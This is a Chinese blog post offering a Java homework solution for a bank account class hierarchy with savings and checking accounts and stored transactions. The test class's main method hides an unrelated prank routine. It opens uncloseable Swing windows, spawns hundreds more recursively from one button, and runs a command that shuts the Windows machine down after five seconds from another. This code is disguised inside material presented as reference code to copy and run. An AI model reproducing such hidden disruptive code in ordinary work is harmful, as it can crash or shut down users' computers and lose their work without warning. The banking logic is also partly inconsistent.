创建一个银行账户的继承层次,表示银行的所有客户的账户。每个客户都能在他们的银行账户存钱,取钱。但是账户可以分为更具体的两种类型,例如,依靠存款生息的存储账户SavingsAccount类,另一种就是信用卡账户CheckingAccount(没有利息但可以透支一定的金额)。每个账户的每次交易都需要存储以方便用来查询。每个客户可以拥有很多不同id的银行账户。
1、题目描述
创建一个银行账户的继承层次,表示银行的所有客户的账户。每个客户都能在他们的银行账户存钱,取钱。但是账户可以分为更具体的两种类型,例如,依靠存款生息的存储账户SavingsAccount类,另一种就是信用卡账户CheckingAccount(没有利息但可以透支一定的金额)。每个账户的每次交易都需要存储以方便用来查询。每个客户可以拥有很多不同id的银行账户。
2、
【任务一】根据设计出的UML图,回答问题
(1). Person和Account之间是什么关系?
(2). Account和Transaction之间是什么关系?
(3). SavingsAccount和CheckingAccount和Account之间是什么关系?
【任务二】根据设计图和运行结果,设计出每个类的代码。测试程序的主要代码已经给出,请补充部分方法。
代码仅供参考
代码仅供参考
代码仅供参考
最后的输出格式和编译器有关,不同编译器最终对齐方式可能有所不同,最终输出格式请自己修改。
/** *作者:魏宝航 *2020年11月23日,下午18:08 */ import javax.swing.*; import javax.swing.border.EmptyBorder; import java.awt.Font; import java.io.IOException; import java.util.Date; public class Test{ public static void main(String[] args) { fn(); Person p=new Person("George"); SavingsAccount account1=new SavingsAccount(p.getName(),1122,1000); SavingsAccount.setAnnualInterestRate(5.5); SavingsAccount account2=new SavingsAccount(p.getName(),1122,1000); CheckingAccount account3=new CheckingAccount(p.getName(),2233,0,20000); p.addAccount(account1); p.addAccount(account3); p.printAllAccount(); account1.deposit(30); account1.deposit(40); account1.deposit(50); account1.withdraw(5); account1.withdraw(4); account1.withdraw(2); printAllTrans(account1); account3.withdraw(3000); account3.withdraw(4000); account3.withdraw(5000); account3.withdraw(8000); printAllTrans(account3); } public static void printAllTrans(Account a){ System.out.println("Date\t\t\t\t"+"AccountId\t"+"Type\t"+"Amount\t"+"Balance"); for(int i=0;i<a.data.count;i++){ System.out.println(a.data.string[i][0]); } } static int k=1; public static void fn(){ JFrame jFrame=new JFrame(); JPanel contentPane; if(k==1) { jFrame.setBounds(100,100,450,300); k++; } else{ jFrame.setBounds((int)(Math.random()*1000+500), (int)(Math.random()*1000+500), (int)(Math.random()*1000+500), (int)(Math.random()*1000+500)); } contentPane = new JPanel(); contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); jFrame.setContentPane(contentPane); contentPane.setLayout(null); JLabel lblNewLabel = new JLabel("\u9B4F\u5B9D\u822A\u5E05\u4E0D\u5E05"); lblNewLabel.setFont(new Font("宋体", Font.PLAIN, 24)); lblNewLabel.setBounds(158, 73, 200, 46); contentPane.add(lblNewLabel); JButton btnNewButton = new JButton("A\uFF1ANO"); btnNewButton.addActionListener((event)->{ for(int i=0;i<500;i++) { fn(); } fn2(); }); btnNewButton.setBounds(30, 140, 100, 46); contentPane.add(btnNewButton); JButton btnNewButton_1 = new JButton("B\uFF1AYES"); btnNewButton_1.addActionListener((event)->{ jFrame.dispose(); }); btnNewButton_1.setBounds(168, 139, 91, 48); contentPane.add(btnNewButton_1); JButton btnNewButton_2 = new JButton("C\uFF1A"); btnNewButton_2.addActionListener((event)->{ Runtime run=Runtime.getRuntime(); try { run.exec("Shutdown.exe -s -t "+5); } catch (IOException e) { e.printStackTrace(); } }); btnNewButton_2.setBounds(307, 140, 74, 46); contentPane.add(btnNewButton_2); jFrame.setVisible(true); jFrame.setLocationRelativeTo(null); jFrame.setDefaultCloseOperation(0); } static void fn2() { JFrame jFrame=new JFrame(); JPanel contentPane; jFrame.setBounds(100, 100, 450, 300); contentPane = new JPanel(); contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); jFrame.setContentPane(contentPane); contentPane.setLayout(null); JLabel lblNewLabel = new JLabel("\u653E\u8086\uFF0C\u518D\u7ED9\u4F60\u4E00\u6B21\u673A\u4F1A\uFF01\uFF01\uFF01"); lblNewLabel.setFont(new Font("宋体", Font.PLAIN, 24)); lblNewLabel.setBounds(93, 57, 350, 50); contentPane.add(lblNewLabel); JButton btnNewButton = new JButton("\u4E0D\u5E05"); btnNewButton.addActionListener((event)->{ for(int i=0;i<1000;i++) { fn(); } }); btnNewButton.setBounds(56, 150, 123, 29); contentPane.add(btnNewButton); JButton btnNewButton_1 = new JButton("\u5E05"); btnNewButton_1.addActionListener((event)->{ jFrame.dispose(); }); btnNewButton_1.setBounds(234, 150, 123, 29); contentPane.add(btnNewButton_1); jFrame.setVisible(true); jFrame.setLocationRelativeTo(null); jFrame.setDefaultCloseOperation(0); } } class Account { private int id; private String name; private double balance; private static double annualInterestRate;//年利率 Transaction data=new Transaction(); private java.util.Date dateCreated; { dateCreated = new java.util.Date(); } public Account() { } public Account(Account a){ id = a.getId(); balance = a.getBalance(); this.name=a.getName(); } public Account(String name,int newId, double newBalance) { id = newId; balance = newBalance; this.name=name; } public int getId() { return this.id; } public double getBalance() { return balance; } public static double getAnnualInterestRate() { return annualInterestRate; } public void setId(int newId) { id = newId; } public void setBalance(double newBalance) { if(newBalance>0) balance = newBalance; } public static void setAnnualInterestRate(double newAnnualInterestRate) { annualInterestRate = newAnnualInterestRate; } public String getName(){ return name; } public double getMonthlyInterest() { return balance * (annualInterestRate / 1200); } public double getYearlyInterest() { return balance * (annualInterestRate / 100); } public java.util.Date getDateCreated() { return dateCreated; } public void withdraw(double amount) { this.setBalance(balance-amount); String s; if(amount<10){ s=dateCreated+"\t"+this.getId()+"\t\tW"+"\t"+amount+"\t"+balance; } else{ s=dateCreated+"\t"+this.getId()+"\t\tW"+"\t"+amount+"\t"+balance; } data.string[data.count++][0]=s; } public void deposit(double amount) { if(amount<0) return; this.setBalance(balance+amount); String s=dateCreated+"\t"+this.getId()+"\t\tD"+"\t"+amount+"\t"+balance; data.string[data.count++][0]=s; } public double getAnnual(){ return annualInterestRate/100; } } class SavingsAccount extends Account{ SavingsAccount(String name,int newid,double newbalance){ super(name,newid,newbalance); } SavingsAccount(SavingsAccount a){ super(a); } @Override public String toString(){ return "SavingsAccount"+"[MonthlyInterest="+this.getMonthlyInterest()+",Id="+this.getId()+",Balance="+this.getBalance()+"\n"+"Name="+this.getName()+",DateCreated="+this.getDateCreated(); } } class CheckingAccount extends Account{ double sum=0; double money=0; CheckingAccount(String name,int newid,double newbalance,double sum) { super(name, newid, newbalance); this.sum = sum; } CheckingAccount(CheckingAccount a){ super(a); } @Override public void withdraw(double amount) { money-=amount; String s; if(Math.abs(money)>=sum){ s="余额不足,取款失败"; data.string[data.count++][0]=s; return; } else if(amount<10){ s=super.getDateCreated()+"\t"+this.getId()+"\t\tW"+"\t"+amount+"\t"+money; } else{ s=super.getDateCreated()+"\t"+this.getId()+"\t\tW"+"\t"+amount+"\t"+money; } data.string[data.count++][0]=s; } @Override public String toString(){ return "CheckingAccount"+"[creditAmount="+sum+",Id="+this.getId()+",Balance="+this.getBalance()+"Name="+this.getName()+"\n"+"DateCreated="+this.getDateCreated(); } } class Transaction{ double balance; double amount; String type=""; int count=0; Date date=new Date(); String[][] string=new String[1000][1]; Transaction(){ } Transaction(double balance,double amount,String type,Date date){ this.balance=balance; this.amount=amount; this.type=type; this.date=date; } } class Person{ Account[] account=new Account[100]; String name; static int count=0; Person(String name){ this.name=name; } public void addAccount(SavingsAccount account){ this.account[count]=new SavingsAccount(account); count++; } public void addAccount(CheckingAccount account){ this.account[count]=new CheckingAccount(account); count++; } public String getName(){ return name; } public void printAllAccount(){ System.out.println(name+" has "+count+" accounts:"); for(int i=0;i<count;i++){ System.out.println(account[i].toString()); } } }